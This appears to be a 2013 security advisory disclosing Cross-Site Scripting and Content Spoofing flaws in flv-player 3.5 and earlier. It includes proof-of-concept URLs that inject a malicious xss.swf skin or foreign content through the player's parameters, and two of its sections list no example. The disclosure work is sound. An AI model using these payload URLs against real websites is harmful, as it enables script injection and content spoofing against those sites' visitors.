Hello 3APA3A!
These are Cross-Site Scripting and Content Spoofing vulnerabilities in flv-player.
Vulnerable are flv-player 3.5 and previous versions.
U-Studio
http://flv-mp3.com
XSS (via Flash Injection) (WASC-08):
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=xss.swf
In old versions of Flash player the attack will work with flash file xss.swf at any domain, in new versions - only at the same domain.
Content Spoofing (Flash Injection) (WASC-12):
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=http://site2/1.swf
Content Spoofing (Content Injection) (WASC-12):
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&pic=http://site2/1.jpg
Content Spoofing (HTML Injection) (WASC-12):
XSS (WASC-08):
In old versions of Flash player the attack will work with flash file xss.swf at any domain, in new versions - only at the same domain. Also Strictly social XSS attack is possible.
2013.08.03 - announced at my site.
2013.08.05 - informed developers.
2013.10.08 - disclosed at my site (http://websecurity.com.ua/6694/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua